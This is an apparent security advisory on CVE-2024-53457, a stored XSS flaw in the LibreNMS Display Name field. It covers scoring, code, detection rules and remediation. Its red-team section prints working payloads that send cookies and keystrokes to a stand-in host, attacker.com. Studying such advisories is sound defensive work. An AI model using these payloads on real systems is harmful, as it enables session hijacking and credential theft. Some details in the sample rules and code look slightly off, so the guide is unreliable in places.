CVE-2024-53457

Executive Summary

CVE-2024-53457 is a stored cross-site scripting (XSS) vulnerability affecting LibreNMS versions 24.9.0 through 24.10.0. The flaw resides in the Device Settings section, specifically within the Display Name parameter. An authenticated attacker with device management privileges can inject arbitrary web scripts or HTML, which are then stored and executed in the browsers of other users viewing the affected device settings. This can lead to session hijacking, credential theft, or further compromise of the monitoring infrastructure. The vulnerability has a low CVSS score due to the requirement for authentication and user interaction, but the potential impact within a network monitoring context is significant.

Supply Chain & Package Security

LibreNMS is a PHP-based application distributed via GitHub and Composer. The vulnerability is introduced through insufficient input sanitization in the application code, not through a compromised dependency. However, administrators should verify the integrity of their LibreNMS installation by checking file hashes against the official repository. No malicious packages have been identified in the supply chain for the affected versions.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 4.8 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires authenticated user with device management rights
• User Interaction: Required (UI:R) – victim must view the malicious device settings page
• Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope
• Confidentiality Impact: Low (C:L) – limited data exposure
• Integrity Impact: Low (I:L) – limited modification of data
• Availability Impact: None (A:N)

Threat Level: Medium. While the CVSS score is moderate, the stored nature of the XSS and the critical role of network monitoring tools elevate the risk in enterprise environments.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS (CWE-79) in the Device Settings form. The Display Name field is not properly sanitized before being stored in the database and later rendered in the web interface. An attacker can inject a payload such as:

<script>alert('XSS')</script>

When an administrator or other user navigates to the device settings page, the script executes in their browser context. The attack flow is:

1. Authentication: Attacker logs in with valid credentials and has permission to edit device settings.
2. Injection: Attacker modifies the Display Name of a device to include malicious JavaScript.
3. Storage: The payload is stored in the database without sanitization.
4. Trigger: A victim (e.g., another admin) views the device settings page, causing the payload to execute.
5. Impact: The attacker can steal cookies, perform actions on behalf of the victim, or redirect to phishing pages.

The vulnerability is present in the app/Http/Controllers/DeviceController.php file where the display field is processed.

Vulnerable vs. Patched Code

Vulnerable Code (v24.9.0 - v24.10.0):

// In DeviceController.php
$device->display = $request->input('display');
$device->save();

The input is directly assigned without any sanitization.

Patched Code (Expected Fix):

// In DeviceController.php
$device->display = strip_tags($request->input('display'));
$device->save();

Or using a more robust approach with HTML Purifier:

$device->display = clean($request->input('display'), 'strip_tags');
$device->save();

The patch should also include output encoding when rendering the field in Blade templates:

{{ strip_tags($device->display) }}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running instance of LibreNMS v24.9.0 or v24.10.0
• Valid credentials with device management privileges
• Access to the web interface

Exploitation Steps:

1. Log in to LibreNMS as a user with device management rights.
2. Navigate to Devices > Edit for an existing device.
3. In the Display Name field, inject the following payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

4. Save the device settings.
5. Wait for an administrator to view the device settings page. The script will execute, sending the victim's cookies to the attacker's server.

Alternative Payload (Keylogger):

<script>
document.addEventListener('keydown', function(e) {
    fetch('https://attacker.com/keylog?key='+e.key);
});
</script>

Note: No public exploit-db code is available for this CVE.

Blue Team

Detection Steps:

1. Monitor web application logs for unusual characters in the display parameter:
   • Look for <script>, <img>, <svg>, or other HTML tags in POST requests to /devices/*/edit.
2. Review database entries in the devices table for the display column containing HTML or JavaScript.
3. Use the detection rules provided in the Detection Engineering section.

Mitigation in Lab:

• Apply input sanitization as shown in the patched code section.
• Implement Content Security Policy (CSP) headers to block inline scripts.
• Restrict device management privileges to trusted users only.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to attacker-controlled domains from the LibreNMS server.
  • POST requests to /devices/*/edit containing <script> tags in the display parameter.
• Host IOCs:
  • Database entries in devices.display containing HTML or JavaScript.
  • Unusual entries in web server access logs (e.g., %3Cscript%3E URL-encoded payloads).
• File IOCs:
  • Modified DeviceController.php if an attacker has gained shell access.

Detection Engineering

YARA Rule

rule CVE_2024_53457_LibreNMS_XSS {
    meta:
        description = "Detects stored XSS payloads in LibreNMS device display names"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-53457"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $xss_img = /<img[^>]*onerror\s*=/is
        $xss_svg = /<svg[^>]*onload\s*=/is
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in LibreNMS Device Display Name
id: 8f9a2b3c-4d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects attempts to exploit CVE-2024-53457 by injecting XSS payloads into the Display Name field.
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/devices/'
        cs-uri-query|contains: '/edit'
        cs-uri-query|contains|all:
            - 'display='
            - '<script'
    condition: selection
falsepositives:
    - Legitimate use of HTML in display names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-53457 LibreNMS Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/devices/"; http_uri; content:"/edit"; http_uri; content:"display="; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade LibreNMS to the latest version (v24.11.0 or later) once a patch is released.
2. Apply Input Sanitization: Manually patch DeviceController.php to use strip_tags() or HTML Purifier on the display input.
3. Restrict Privileges: Limit device management permissions to only essential users.
4. Enable CSP: Add the following HTTP header to block inline scripts:

   Content-Security-Policy: default-src 'self'; script-src 'self'
   

Long-Term Measures:

• Implement a Web Application Firewall (WAF) to filter XSS payloads.
• Conduct regular security audits of LibreNMS code and dependencies.
• Monitor for new advisories from the LibreNMS project.

Workaround: If patching is not immediately possible, disable the Display Name field in the UI by modifying the Blade template to output only sanitized text.

Valters IT
Securing Networks, One CVE at a Time.